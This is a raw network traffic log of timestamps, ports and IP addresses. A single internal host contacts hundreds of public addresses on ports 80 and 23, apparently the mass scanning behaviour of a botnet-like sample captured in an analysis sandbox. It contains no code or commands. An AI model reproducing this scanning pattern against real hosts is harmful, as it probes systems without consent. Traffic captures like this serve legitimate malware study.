Feb 4, 2025 18:17:32.385525942 CET	46308	80	192.168.2.23	121.143.165.248
Feb 4, 2025 18:17:32.385528088 CET	46308	80	192.168.2.23	146.55.47.175
Feb 4, 2025 18:17:32.385528088 CET	46308	80	192.168.2.23	219.167.189.176
Feb 4, 2025 18:17:32.385530949 CET	46308	80	192.168.2.23	52.27.211.13
Feb 4, 2025 18:17:32.385548115 CET	46308	80	192.168.2.23	79.0.14.93
Feb 4, 2025 18:17:32.385548115 CET	46308	80	192.168.2.23	151.250.171.231
Feb 4, 2025 18:17:32.385548115 CET	46308	80	192.168.2.23	45.89.205.96
Feb 4, 2025 18:17:32.385548115 CET	46308	80	192.168.2.23	195.131.183.157
Feb 4, 2025 18:17:32.385549068 CET	46308	80	192.168.2.23	81.174.89.27
Feb 4, 2025 18:17:32.385557890 CET	46308	80	192.168.2.23	9.202.209.98
Feb 4, 2025 18:17:32.385557890 CET	46308	80	192.168.2.23	162.238.255.243
Feb 4, 2025 18:17:32.385564089 CET	46308	80	192.168.2.23	89.142.22.205
Feb 4, 2025 18:17:32.385577917 CET	46308	80	192.168.2.23	142.59.70.144
Feb 4, 2025 18:17:32.385577917 CET	46308	80	192.168.2.23	23.114.240.163
Feb 4, 2025 18:17:32.385580063 CET	46308	80	192.168.2.23	152.134.43.119
Feb 4, 2025 18:17:32.385586977 CET	46308	80	192.168.2.23	68.65.117.37
Feb 4, 2025 18:17:32.385586977 CET	46308	80	192.168.2.23	106.174.237.45
Feb 4, 2025 18:17:32.385610104 CET	46308	80	192.168.2.23	175.220.157.119
Feb 4, 2025 18:17:32.385610104 CET	46308	80	192.168.2.23	144.32.163.82
Feb 4, 2025 18:17:32.385610104 CET	46308	80	192.168.2.23	218.117.78.120
Feb 4, 2025 18:17:32.385612965 CET	46308	80	192.168.2.23	119.27.16.203
Feb 4, 2025 18:17:32.385620117 CET	46308	80	192.168.2.23	209.94.99.38
Feb 4, 2025 18:17:32.385622978 CET	46308	80	192.168.2.23	181.238.25.119
Feb 4, 2025 18:17:32.385629892 CET	46308	80	192.168.2.23	205.237.209.110
Feb 4, 2025 18:17:32.385631084 CET	46308	80	192.168.2.23	120.152.212.251
Feb 4, 2025 18:17:32.385631084 CET	46308	80	192.168.2.23	177.8.105.165
Feb 4, 2025 18:17:32.385632038 CET	46308	80	192.168.2.23	97.68.208.203
Feb 4, 2025 18:17:32.385632038 CET	46308	80	192.168.2.23	34.142.189.205
Feb 4, 2025 18:17:32.385637045 CET	46308	80	192.168.2.23	105.235.33.116
Feb 4, 2025 18:17:32.385648012 CET	46308	80	192.168.2.23	181.252.122.232
Feb 4, 2025 18:17:32.385657072 CET	46308	80	192.168.2.23	20.1.163.8
Feb 4, 2025 18:17:32.385659933 CET	46308	80	192.168.2.23	42.133.89.67
Feb 4, 2025 18:17:32.385668039 CET	46308	80	192.168.2.23	122.6.213.128
Feb 4, 2025 18:17:32.385672092 CET	46308	80	192.168.2.23	99.14.156.113
Feb 4, 2025 18:17:32.385685921 CET	46308	80	192.168.2.23	2.221.118.36
Feb 4, 2025 18:17:32.385685921 CET	46308	80	192.168.2.23	38.35.163.125
Feb 4, 2025 18:17:32.385685921 CET	46308	80	192.168.2.23	48.114.197.27
Feb 4, 2025 18:17:32.385693073 CET	46308	80	192.168.2.23	45.179.181.240
Feb 4, 2025 18:17:32.385700941 CET	46308	80	192.168.2.23	198.36.80.116
Feb 4, 2025 18:17:32.385713100 CET	46308	80	192.168.2.23	126.242.185.79
Feb 4, 2025 18:17:32.385718107 CET	46308	80	192.168.2.23	126.193.215.97
Feb 4, 2025 18:17:32.385729074 CET	46308	80	192.168.2.23	94.241.142.250
Feb 4, 2025 18:17:32.385735035 CET	46308	80	192.168.2.23	212.228.251.106
Feb 4, 2025 18:17:32.388113022 CET	37215	35556	197.198.216.23	192.168.2.23
Feb 4, 2025 18:17:32.388158083 CET	35556	37215	192.168.2.23	197.198.216.23
Feb 4, 2025 18:17:32.884229898 CET	59666	39652	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:32.884352922 CET	39652	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:32.884511948 CET	39652	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:32.891644001 CET	39910	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:32.896455050 CET	59666	39910	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:32.896533012 CET	39910	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:32.896550894 CET	39910	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:32.901314974 CET	59666	39910	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:32.901365042 CET	39910	59666	192.168.2.23	212.64.199.23
Feb 4, 2025 18:17:32.906121016 CET	59666	39910	212.64.199.23	192.168.2.23
Feb 4, 2025 18:17:33.380213976 CET	47076	23	192.168.2.23	193.71.149.126
Feb 4, 2025 18:17:33.380217075 CET	47076	23	192.168.2.23	119.39.35.191
Feb 4, 2025 18:17:33.380223036 CET	47076	23	192.168.2.23	207.181.29.39
Feb 4, 2025 18:17:33.380223036 CET	47076	23	192.168.2.23	171.23.39.255
Feb 4, 2025 18:17:33.380228996 CET	47076	23	192.168.2.23	150.78.149.127
Feb 4, 2025 18:17:33.380256891 CET	47076	23	192.168.2.23	111.132.138.166
Feb 4, 2025 18:17:33.380256891 CET	47076	23	192.168.2.23	172.170.135.190
Feb 4, 2025 18:17:33.380256891 CET	47076	23	192.168.2.23	133.162.80.151
Feb 4, 2025 18:17:33.380259991 CET	47076	23	192.168.2.23	168.239.78.203
Feb 4, 2025 18:17:33.380260944 CET	47076	23	192.168.2.23	171.101.89.190
Feb 4, 2025 18:17:33.380260944 CET	47076	23	192.168.2.23	51.118.145.120
Feb 4, 2025 18:17:33.380260944 CET	47076	23	192.168.2.23	164.53.1.211
Feb 4, 2025 18:17:33.380274057 CET	47076	23	192.168.2.23	27.244.17.109
Feb 4, 2025 18:17:33.380278111 CET	47076	23	192.168.2.23	137.108.123.10
Feb 4, 2025 18:17:33.380281925 CET	47076	23	192.168.2.23	133.143.72.165
Feb 4, 2025 18:17:33.380287886 CET	47076	23	192.168.2.23	118.120.172.152
Feb 4, 2025 18:17:33.380291939 CET	47076	23	192.168.2.23	222.160.177.150
Feb 4, 2025 18:17:33.380291939 CET	47076	23	192.168.2.23	158.232.130.72
Feb 4, 2025 18:17:33.380302906 CET	47076	23	192.168.2.23	129.100.144.57
Feb 4, 2025 18:17:33.380302906 CET	47076	23	192.168.2.23	163.99.12.45
Feb 4, 2025 18:17:33.380305052 CET	47076	23	192.168.2.23	74.101.203.116
Feb 4, 2025 18:17:33.380306005 CET	47076	23	192.168.2.23	196.181.156.127
Feb 4, 2025 18:17:33.380311966 CET	47076	23	192.168.2.23	195.8.174.34
Feb 4, 2025 18:17:33.380321026 CET	47076	23	192.168.2.23	1.7.151.21
Feb 4, 2025 18:17:33.380325079 CET	47076	23	192.168.2.23	17.109.206.157
Feb 4, 2025 18:17:33.380326986 CET	47076	23	192.168.2.23	77.23.100.65
Feb 4, 2025 18:17:33.380335093 CET	47076	23	192.168.2.23	51.167.115.92
Feb 4, 2025 18:17:33.380348921 CET	47076	23	192.168.2.23	107.0.77.59
Feb 4, 2025 18:17:33.380357981 CET	47076	23	192.168.2.23	205.66.6.131
Feb 4, 2025 18:17:33.380358934 CET	47076	23	192.168.2.23	54.159.219.151
Feb 4, 2025 18:17:33.380373955 CET	47076	23	192.168.2.23	41.121.156.119
Feb 4, 2025 18:17:33.380387068 CET	47076	23	192.168.2.23	148.102.77.191
Feb 4, 2025 18:17:33.380402088 CET	47076	23	192.168.2.23	145.88.95.24
Feb 4, 2025 18:17:33.380400896 CET	47076	23	192.168.2.23	131.149.152.13
Feb 4, 2025 18:17:33.380402088 CET	47076	23	192.168.2.23	165.165.112.181
Feb 4, 2025 18:17:33.380402088 CET	47076	23	192.168.2.23	174.178.10.135
Feb 4, 2025 18:17:33.380402088 CET	47076	23	192.168.2.23	193.168.14.237
Feb 4, 2025 18:17:33.380403996 CET	47076	23	192.168.2.23	67.197.46.90
Feb 4, 2025 18:17:33.380408049 CET	47076	23	192.168.2.23	38.25.23.113
Feb 4, 2025 18:17:33.380409002 CET	47076	23	192.168.2.23	138.63.178.16
Feb 4, 2025 18:17:33.380403996 CET	47076	23	192.168.2.23	128.237.64.134
Feb 4, 2025 18:17:33.380400896 CET	47076	23	192.168.2.23	109.192.164.253
Feb 4, 2025 18:17:33.380429029 CET	47076	23	192.168.2.23	162.105.128.155
Feb 4, 2025 18:17:33.380440950 CET	47076	23	192.168.2.23	74.188.47.228
Feb 4, 2025 18:17:33.380440950 CET	47076	23	192.168.2.23	158.235.139.240
Feb 4, 2025 18:17:33.380444050 CET	47076	23	192.168.2.23	52.83.128.27
Feb 4, 2025 18:17:33.380445957 CET	47076	23	192.168.2.23	101.29.243.218
Feb 4, 2025 18:17:33.380449057 CET	47076	23	192.168.2.23	48.245.206.201
Feb 4, 2025 18:17:33.380464077 CET	47076	23	192.168.2.23	88.207.201.204
Feb 4, 2025 18:17:33.380466938 CET	47076	23	192.168.2.23	13.30.0.134
Feb 4, 2025 18:17:33.380466938 CET	47076	23	192.168.2.23	142.93.81.210
Feb 4, 2025 18:17:33.380466938 CET	47076	23	192.168.2.23	186.248.8.190
Feb 4, 2025 18:17:33.380466938 CET	47076	23	192.168.2.23	190.80.45.55
Feb 4, 2025 18:17:33.380474091 CET	47076	23	192.168.2.23	193.1.50.56
Feb 4, 2025 18:17:33.380484104 CET	47076	23	192.168.2.23	98.186.198.221
Feb 4, 2025 18:17:33.380485058 CET	47076	23	192.168.2.23	74.124.123.134
Feb 4, 2025 18:17:33.380496979 CET	47076	23	192.168.2.23	134.156.41.212
Feb 4, 2025 18:17:33.380496979 CET	47076	23	192.168.2.23	164.28.104.109
Feb 4, 2025 18:17:33.380496979 CET	47076	23	192.168.2.23	212.195.254.104
Feb 4, 2025 18:17:33.380501986 CET	47076	23	192.168.2.23	126.234.21.210
Feb 4, 2025 18:17:33.380507946 CET	47076	23	192.168.2.23	36.36.137.221
Feb 4, 2025 18:17:33.380517960 CET	47076	23	192.168.2.23	134.129.209.246
Feb 4, 2025 18:17:33.380523920 CET	47076	23	192.168.2.23	221.128.13.81
Feb 4, 2025 18:17:33.380542994 CET	47076	23	192.168.2.23	222.227.175.209
Feb 4, 2025 18:17:33.380548000 CET	47076	23	192.168.2.23	197.13.37.222
Feb 4, 2025 18:17:33.380548000 CET	47076	23	192.168.2.23	65.85.51.61
Feb 4, 2025 18:17:33.380556107 CET	47076	23	192.168.2.23	149.246.67.32
Feb 4, 2025 18:17:33.380556107 CET	47076	23	192.168.2.23	40.210.117.85
Feb 4, 2025 18:17:33.380558014 CET	47076	23	192.168.2.23	78.190.146.161
Feb 4, 2025 18:17:33.380559921 CET	47076	23	192.168.2.23	184.222.176.161
Feb 4, 2025 18:17:33.380572081 CET	47076	23	192.168.2.23	175.71.176.114
Feb 4, 2025 18:17:33.380573988 CET	47076	23	192.168.2.23	122.105.235.115
Feb 4, 2025 18:17:33.380574942 CET	47076	23	192.168.2.23	51.127.223.131
Feb 4, 2025 18:17:33.380574942 CET	47076	23	192.168.2.23	25.176.149.47
Feb 4, 2025 18:17:33.380577087 CET	47076	23	192.168.2.23	111.124.50.71
Feb 4, 2025 18:17:33.380583048 CET	47076	23	192.168.2.23	44.146.71.218
Feb 4, 2025 18:17:33.380590916 CET	47076	23	192.168.2.23	59.220.114.227
Feb 4, 2025 18:17:33.380590916 CET	47076	23	192.168.2.23	162.225.36.32
Feb 4, 2025 18:17:33.380590916 CET	47076	23	192.168.2.23	201.66.159.123
Feb 4, 2025 18:17:33.380593061 CET	47076	23	192.168.2.23	210.48.157.247
Feb 4, 2025 18:17:33.380599976 CET	47076	23	192.168.2.23	140.206.19.154
Feb 4, 2025 18:17:33.380599976 CET	47076	23	192.168.2.23	74.226.83.181
Feb 4, 2025 18:17:33.380614996 CET	47076	23	192.168.2.23	208.239.184.51
Feb 4, 2025 18:17:33.380620956 CET	47076	23	192.168.2.23	168.26.3.25
Feb 4, 2025 18:17:33.380620956 CET	47076	23	192.168.2.23	38.142.133.120
Feb 4, 2025 18:17:33.380620956 CET	47076	23	192.168.2.23	88.71.226.140
Feb 4, 2025 18:17:33.380640984 CET	47076	23	192.168.2.23	141.198.111.158
Feb 4, 2025 18:17:33.380651951 CET	47076	23	192.168.2.23	220.177.135.117
Feb 4, 2025 18:17:33.380660057 CET	47076	23	192.168.2.23	143.178.46.217
Feb 4, 2025 18:17:33.380661011 CET	47076	23	192.168.2.23	51.252.150.230
Feb 4, 2025 18:17:33.380670071 CET	47076	23	192.168.2.23	131.248.0.108
Feb 4, 2025 18:17:33.380671024 CET	47076	23	192.168.2.23	95.186.18.141
Feb 4, 2025 18:17:33.380672932 CET	47076	23	192.168.2.23	206.164.220.168
Feb 4, 2025 18:17:33.380672932 CET	47076	23	192.168.2.23	156.194.239.35
Feb 4, 2025 18:17:33.380672932 CET	47076	23	192.168.2.23	67.143.209.208
Feb 4, 2025 18:17:33.380676985 CET	47076	23	192.168.2.23	148.102.123.207
Feb 4, 2025 18:17:33.380680084 CET	47076	23	192.168.2.23	156.67.146.177
Feb 4, 2025 18:17:33.380680084 CET	47076	23	192.168.2.23	70.121.159.134
Feb 4, 2025 18:17:33.380695105 CET	47076	23	192.168.2.23	81.89.247.64
Feb 4, 2025 18:17:33.380698919 CET	47076	23	192.168.2.23	69.73.255.10
Feb 4, 2025 18:17:33.380698919 CET	47076	23	192.168.2.23	36.190.186.143
Feb 4, 2025 18:17:33.380709887 CET	47076	23	192.168.2.23	133.55.241.29
Feb 4, 2025 18:17:33.380714893 CET	47076	23	192.168.2.23	100.241.158.74
Feb 4, 2025 18:17:33.380716085 CET	47076	23	192.168.2.23	54.121.219.148
Feb 4, 2025 18:17:33.380716085 CET	47076	23	192.168.2.23	141.122.123.188
Feb 4, 2025 18:17:33.380723953 CET	47076	23	192.168.2.23	161.19.226.10
Feb 4, 2025 18:17:33.380726099 CET	47076	23	192.168.2.23	119.111.107.110
Feb 4, 2025 18:17:33.380728006 CET	47076	23	192.168.2.23	126.76.149.18
Feb 4, 2025 18:17:33.380728006 CET	47076	23	192.168.2.23	76.168.76.95
Feb 4, 2025 18:17:33.380731106 CET	47076	23	192.168.2.23	173.234.174.50
Feb 4, 2025 18:17:33.380731106 CET	47076	23	192.168.2.23	206.25.72.149
Feb 4, 2025 18:17:33.380731106 CET	47076	23	192.168.2.23	119.40.130.254
Feb 4, 2025 18:17:33.380738020 CET	47076	23	192.168.2.23	140.7.142.40
Feb 4, 2025 18:17:33.380740881 CET	47076	23	192.168.2.23	90.51.115.76
Feb 4, 2025 18:17:33.380740881 CET	47076	23	192.168.2.23	53.233.27.180
Feb 4, 2025 18:17:33.380743980 CET	47076	23	192.168.2.23	181.61.158.66
Feb 4, 2025 18:17:33.380747080 CET	47076	23	192.168.2.23	172.130.196.114
Feb 4, 2025 18:17:33.380759954 CET	47076	23	192.168.2.23	168.74.221.198
Feb 4, 2025 18:17:33.380767107 CET	47076	23	192.168.2.23	68.29.45.51
Feb 4, 2025 18:17:33.380767107 CET	47076	23	192.168.2.23	17.172.91.239
Feb 4, 2025 18:17:33.380767107 CET	47076	23	192.168.2.23	162.209.88.137
Feb 4, 2025 18:17:33.380778074 CET	47076	23	192.168.2.23	209.83.44.28
Feb 4, 2025 18:17:33.380784988 CET	47076	23	192.168.2.23	175.166.38.243
Feb 4, 2025 18:17:33.380784988 CET	47076	23	192.168.2.23	143.139.143.230
Feb 4, 2025 18:17:33.380786896 CET	47076	23	192.168.2.23	137.143.174.103
Feb 4, 2025 18:17:33.380789995 CET	47076	23	192.168.2.23	163.58.200.104
Feb 4, 2025 18:17:33.380808115 CET	47076	23	192.168.2.23	74.213.48.77
Feb 4, 2025 18:17:33.380811930 CET	47076	23	192.168.2.23	13.183.83.254
Feb 4, 2025 18:17:33.380811930 CET	47076	23	192.168.2.23	66.203.87.159
Feb 4, 2025 18:17:33.380815029 CET	47076	23	192.168.2.23	122.217.33.16
Feb 4, 2025 18:17:33.380825996 CET	47076	23	192.168.2.23	189.45.201.20
Feb 4, 2025 18:17:33.380829096 CET	47076	23	192.168.2.23	168.94.254.87
Feb 4, 2025 18:17:33.380830050 CET	47076	23	192.168.2.23	141.8.211.68
Feb 4, 2025 18:17:33.380831003 CET	47076	23	192.168.2.23	101.95.8.230
Feb 4, 2025 18:17:33.380831003 CET	47076	23	192.168.2.23	23.62.24.76
Feb 4, 2025 18:17:33.380831003 CET	47076	23	192.168.2.23	111.179.143.253
Feb 4, 2025 18:17:33.380835056 CET	47076	23	192.168.2.23	18.215.93.145
Feb 4, 2025 18:17:33.380841970 CET	47076	23	192.168.2.23	19.249.126.33
Feb 4, 2025 18:17:33.380847931 CET	47076	23	192.168.2.23	135.130.53.33
Feb 4, 2025 18:17:33.380847931 CET	47076	23	192.168.2.23	185.113.211.227
Feb 4, 2025 18:17:33.380847931 CET	47076	23	192.168.2.23	131.191.32.7
Feb 4, 2025 18:17:33.380856991 CET	47076	23	192.168.2.23	81.42.210.162
Feb 4, 2025 18:17:33.380856991 CET	47076	23	192.168.2.23	132.234.248.249
Feb 4, 2025 18:17:33.380862951 CET	47076	23	192.168.2.23	186.18.174.8
Feb 4, 2025 18:17:33.380868912 CET	47076	23	192.168.2.23	200.127.87.228
Feb 4, 2025 18:17:33.380870104 CET	47076	23	192.168.2.23	114.249.233.131
Feb 4, 2025 18:17:33.380882025 CET	47076	23	192.168.2.23	169.110.45.41
Feb 4, 2025 18:17:33.380908012 CET	47076	23	192.168.2.23	103.189.179.102
Feb 4, 2025 18:17:33.380917072 CET	47076	23	192.168.2.23	162.28.62.216
Feb 4, 2025 18:17:33.380919933 CET	47076	23	192.168.2.23	123.23.231.73
Feb 4, 2025 18:17:33.380919933 CET	47076	23	192.168.2.23	91.87.135.107
Feb 4, 2025 18:17:33.380923033 CET	47076	23	192.168.2.23	68.33.49.95
Feb 4, 2025 18:17:33.380925894 CET	47076	23	192.168.2.23	12.195.187.195
Feb 4, 2025 18:17:33.380925894 CET	47076	23	192.168.2.23	81.219.179.254
Feb 4, 2025 18:17:33.380943060 CET	47076	23	192.168.2.23	191.190.87.190
Feb 4, 2025 18:17:33.380944014 CET	47076	23	192.168.2.23	145.138.16.101
Feb 4, 2025 18:17:33.380944014 CET	47076	23	192.168.2.23	175.115.14.87
Feb 4, 2025 18:17:33.380959034 CET	47076	23	192.168.2.23	36.63.206.240
Feb 4, 2025 18:17:33.380961895 CET	47076	23	192.168.2.23	92.96.205.7
Feb 4, 2025 18:17:33.380968094 CET	47076	23	192.168.2.23	168.169.41.232
Feb 4, 2025 18:17:33.380976915 CET	47076	23	192.168.2.23	175.74.0.60
Feb 4, 2025 18:17:33.380976915 CET	47076	23	192.168.2.23	5.207.48.24
Feb 4, 2025 18:17:33.380976915 CET	47076	23	192.168.2.23	203.160.177.18
Feb 4, 2025 18:17:33.380985022 CET	47076	23	192.168.2.23	41.236.166.57
Feb 4, 2025 18:17:33.380991936 CET	47076	23	192.168.2.23	131.10.183.249
Feb 4, 2025 18:17:33.380991936 CET	47076	23	192.168.2.23	202.132.199.144
Feb 4, 2025 18:17:33.380991936 CET	47076	23	192.168.2.23	177.29.12.229
Feb 4, 2025 18:17:33.381002903 CET	47076	23	192.168.2.23	48.198.87.230
Feb 4, 2025 18:17:33.381004095 CET	47076	23	192.168.2.23	106.109.114.60
Feb 4, 2025 18:17:33.381004095 CET	47076	23	192.168.2.23	105.27.201.171
Feb 4, 2025 18:17:33.381016970 CET	47076	23	192.168.2.23	49.46.232.101
Feb 4, 2025 18:17:33.381019115 CET	47076	23	192.168.2.23	221.42.244.254
Feb 4, 2025 18:17:33.381019115 CET	47076	23	192.168.2.23	95.41.237.40
Feb 4, 2025 18:17:33.381019115 CET	47076	23	192.168.2.23	122.131.236.198
Feb 4, 2025 18:17:33.381020069 CET	47076	23	192.168.2.23	5.94.195.155
Feb 4, 2025 18:17:33.381019115 CET	47076	23	192.168.2.23	68.45.90.118
Feb 4, 2025 18:17:33.381033897 CET	47076	23	192.168.2.23	105.185.56.222
Feb 4, 2025 18:17:33.381033897 CET	47076	23	192.168.2.23	109.51.140.168
Feb 4, 2025 18:17:33.381040096 CET	47076	23	192.168.2.23	97.138.250.101
Feb 4, 2025 18:17:33.381048918 CET	47076	23	192.168.2.23	211.85.51.23
Feb 4, 2025 18:17:33.381064892 CET	47076	23	192.168.2.23	12.23.234.76
Feb 4, 2025 18:17:33.381067991 CET	47076	23	192.168.2.23	92.166.58.143
Feb 4, 2025 18:17:33.381071091 CET	47076	23	192.168.2.23	45.34.52.27
Feb 4, 2025 18:17:33.381082058 CET	47076	23	192.168.2.23	5.26.151.206
Feb 4, 2025 18:17:33.381088972 CET	47076	23	192.168.2.23	25.220.110.171
Feb 4, 2025 18:17:33.381088972 CET	47076	23	192.168.2.23	64.173.134.151
Feb 4, 2025 18:17:33.381088972 CET	47076	23	192.168.2.23	163.105.73.99
Feb 4, 2025 18:17:33.381092072 CET	47076	23	192.168.2.23	106.0.128.178
Feb 4, 2025 18:17:33.381092072 CET	47076	23	192.168.2.23	172.166.241.158
Feb 4, 2025 18:17:33.381113052 CET	47076	23	192.168.2.23	54.152.32.15
Feb 4, 2025 18:17:33.381113052 CET	47076	23	192.168.2.23	47.164.22.228
Feb 4, 2025 18:17:33.381113052 CET	47076	23	192.168.2.23	164.201.252.189
Feb 4, 2025 18:17:33.381122112 CET	47076	23	192.168.2.23	4.56.89.135
Feb 4, 2025 18:17:33.381124020 CET	47076	23	192.168.2.23	204.223.34.252
Feb 4, 2025 18:17:33.381124020 CET	47076	23	192.168.2.23	95.8.161.78
Feb 4, 2025 18:17:33.381124020 CET	47076	23	192.168.2.23	156.249.206.208
Feb 4, 2025 18:17:33.381140947 CET	47076	23	192.168.2.23	87.26.202.103
Feb 4, 2025 18:17:33.381150961 CET	47076	23	192.168.2.23	73.102.34.101
Feb 4, 2025 18:17:33.381150961 CET	47076	23	192.168.2.23	190.41.26.41
Feb 4, 2025 18:17:33.381154060 CET	47076	23	192.168.2.23	138.148.250.99
Feb 4, 2025 18:17:33.381156921 CET	47076	23	192.168.2.23	38.83.135.225
Feb 4, 2025 18:17:33.381156921 CET	47076	23	192.168.2.23	46.167.65.149
Feb 4, 2025 18:17:33.381156921 CET	47076	23	192.168.2.23	31.128.110.243
Feb 4, 2025 18:17:33.381165028 CET	47076	23	192.168.2.23	131.52.122.232
Feb 4, 2025 18:17:33.381170034 CET	47076	23	192.168.2.23	17.231.23.11
Feb 4, 2025 18:17:33.381170034 CET	47076	23	192.168.2.23	180.19.203.155
Feb 4, 2025 18:17:33.381174088 CET	47076	23	192.168.2.23	221.72.26.54
Feb 4, 2025 18:17:33.381196022 CET	47076	23	192.168.2.23	18.198.214.185
Feb 4, 2025 18:17:33.381198883 CET	47076	23	192.168.2.23	204.118.22.213
Feb 4, 2025 18:17:33.381202936 CET	47076	23	192.168.2.23	192.125.129.128
Feb 4, 2025 18:17:33.381203890 CET	47076	23	192.168.2.23	123.237.254.126
Feb 4, 2025 18:17:33.381202936 CET	47076	23	192.168.2.23	109.34.68.210
Feb 4, 2025 18:17:33.381221056 CET	47076	23	192.168.2.23	180.1.70.173
Feb 4, 2025 18:17:33.381221056 CET	47076	23	192.168.2.23	52.140.30.239
Feb 4, 2025 18:17:33.381221056 CET	47076	23	192.168.2.23	82.190.111.250
Feb 4, 2025 18:17:33.381222010 CET	47076	23	192.168.2.23	166.209.246.188
Feb 4, 2025 18:17:33.381228924 CET	47076	23	192.168.2.23	110.156.97.195
Feb 4, 2025 18:17:33.381247044 CET	47076	23	192.168.2.23	183.107.180.69
Feb 4, 2025 18:17:33.381254911 CET	47076	23	192.168.2.23	93.112.198.188
Feb 4, 2025 18:17:33.381261110 CET	47076	23	192.168.2.23	76.174.194.245
Feb 4, 2025 18:17:33.381261110 CET	47076	23	192.168.2.23	37.101.92.225
Feb 4, 2025 18:17:33.381268978 CET	47076	23	192.168.2.23	146.134.207.74
Feb 4, 2025 18:17:33.381268978 CET	47076	23	192.168.2.23	219.48.222.24
Feb 4, 2025 18:17:33.381268978 CET	47076	23	192.168.2.23	14.179.233.205
Feb 4, 2025 18:17:33.381277084 CET	47076	23	192.168.2.23	25.224.48.174
Feb 4, 2025 18:17:33.381278038 CET	47076	23	192.168.2.23	152.1.199.254
Feb 4, 2025 18:17:33.381280899 CET	47076	23	192.168.2.23	59.191.112.146
Feb 4, 2025 18:17:33.381280899 CET	47076	23	192.168.2.23	151.156.150.182
Feb 4, 2025 18:17:33.381293058 CET	47076	23	192.168.2.23	63.177.107.177
Feb 4, 2025 18:17:33.381293058 CET	47076	23	192.168.2.23	119.99.209.81
Feb 4, 2025 18:17:33.381305933 CET	47076	23	192.168.2.23	59.200.129.181
Feb 4, 2025 18:17:33.381311893 CET	47076	23	192.168.2.23	80.187.107.3
Feb 4, 2025 18:17:33.381311893 CET	47076	23	192.168.2.23	182.14.10.118
Feb 4, 2025 18:17:33.381325006 CET	47076	23	192.168.2.23	194.87.230.84
Feb 4, 2025 18:17:33.381325006 CET	47076	23	192.168.2.23	199.137.180.49
Feb 4, 2025 18:17:33.381340027 CET	47076	23	192.168.2.23	104.236.182.28
Feb 4, 2025 18:17:33.381340027 CET	47076	23	192.168.2.23	197.42.34.101
Feb 4, 2025 18:17:33.381341934 CET	47076	23	192.168.2.23	62.12.162.44
Feb 4, 2025 18:17:33.381342888 CET	47076	23	192.168.2.23	78.206.24.244
Feb 4, 2025 18:17:33.381345987 CET	47076	23	192.168.2.23	63.173.112.138
Feb 4, 2025 18:17:33.381354094 CET	47076	23	192.168.2.23	188.122.183.201
Feb 4, 2025 18:17:33.381357908 CET	47076	23	192.168.2.23	41.30.141.113
Feb 4, 2025 18:17:33.381359100 CET	47076	23	192.168.2.23	47.25.145.145
Feb 4, 2025 18:17:33.381365061 CET	47076	23	192.168.2.23	210.10.62.230
Feb 4, 2025 18:17:33.381370068 CET	47076	23	192.168.2.23	111.53.154.137
Feb 4, 2025 18:17:33.381372929 CET	47076	23	192.168.2.23	63.209.165.91
Feb 4, 2025 18:17:33.381385088 CET	47076	23	192.168.2.23	167.231.107.19
Feb 4, 2025 18:17:33.381386042 CET	47076	23	192.168.2.23	154.188.73.147
Feb 4, 2025 18:17:33.381386042 CET	47076	23	192.168.2.23	211.140.253.95
Feb 4, 2025 18:17:33.381386042 CET	47076	23	192.168.2.23	166.249.255.61
Feb 4, 2025 18:17:33.381388903 CET	47076	23	192.168.2.23	160.219.213.128
Feb 4, 2025 18:17:33.381392956 CET	47076	23	192.168.2.23	97.206.109.202
Feb 4, 2025 18:17:33.381396055 CET	47076	23	192.168.2.23	70.164.178.138
Feb 4, 2025 18:17:33.381422043 CET	47076	23	192.168.2.23	171.65.254.189
Feb 4, 2025 18:17:33.381433964 CET	47076	23	192.168.2.23	222.175.214.137
Feb 4, 2025 18:17:33.381433964 CET	47076	23	192.168.2.23	116.181.243.146
Feb 4, 2025 18:17:33.381433964 CET	47076	23	192.168.2.23	62.2.240.91
Feb 4, 2025 18:17:33.381433964 CET	47076	23	192.168.2.23	197.14.80.83
Feb 4, 2025 18:17:33.381433964 CET	47076	23	192.168.2.23	122.200.8.165
Feb 4, 2025 18:17:33.381433964 CET	47076	23	192.168.2.23	222.192.1.54
Feb 4, 2025 18:17:33.381443024 CET	47076	23	192.168.2.23	62.189.54.158
Feb 4, 2025 18:17:33.381444931 CET	47076	23	192.168.2.23	50.108.244.30
Feb 4, 2025 18:17:33.381444931 CET	47076	23	192.168.2.23	175.98.139.74
Feb 4, 2025 18:17:33.381444931 CET	47076	23	192.168.2.23	134.222.119.56
Feb 4, 2025 18:17:33.381444931 CET	47076	23	192.168.2.23	142.95.212.139
Feb 4, 2025 18:17:33.381444931 CET	47076	23	192.168.2.23	40.222.62.101
Feb 4, 2025 18:17:33.381453037 CET	47076	23	192.168.2.23	182.58.135.239
Feb 4, 2025 18:17:33.381453037 CET	47076	23	192.168.2.23	140.23.213.215
Feb 4, 2025 18:17:33.381453037 CET	47076	23	192.168.2.23	64.77.43.213
Feb 4, 2025 18:17:33.381453037 CET	47076	23	192.168.2.23	130.176.206.195
Feb 4, 2025 18:17:33.381453037 CET	47076	23	192.168.2.23	178.114.163.163
Feb 4, 2025 18:17:33.381453037 CET	47076	23	192.168.2.23	162.139.161.245
Feb 4, 2025 18:17:33.381455898 CET	47076	23	192.168.2.23	20.236.118.61
Feb 4, 2025 18:17:33.381457090 CET	47076	23	192.168.2.23	167.187.139.94
Feb 4, 2025 18:17:33.381457090 CET	47076	23	192.168.2.23	223.147.131.80
Feb 4, 2025 18:17:33.381455898 CET	47076	23	192.168.2.23	54.191.195.247
Feb 4, 2025 18:17:33.381457090 CET	47076	23	192.168.2.23	137.232.161.115
Feb 4, 2025 18:17:33.381455898 CET	47076	23	192.168.2.23	94.168.117.219
Feb 4, 2025 18:17:33.381455898 CET	47076	23	192.168.2.23	52.71.203.91
Feb 4, 2025 18:17:33.381460905 CET	47076	23	192.168.2.23	178.120.83.159
Feb 4, 2025 18:17:33.381460905 CET	47076	23	192.168.2.23	186.128.76.173
Feb 4, 2025 18:17:33.381468058 CET	47076	23	192.168.2.23	61.80.228.58
Feb 4, 2025 18:17:33.381478071 CET	47076	23	192.168.2.23	94.58.151.197
Feb 4, 2025 18:17:33.381483078 CET	47076	23	192.168.2.23	195.219.226.149
Feb 4, 2025 18:17:33.381484032 CET	47076	23	192.168.2.23	181.254.193.99
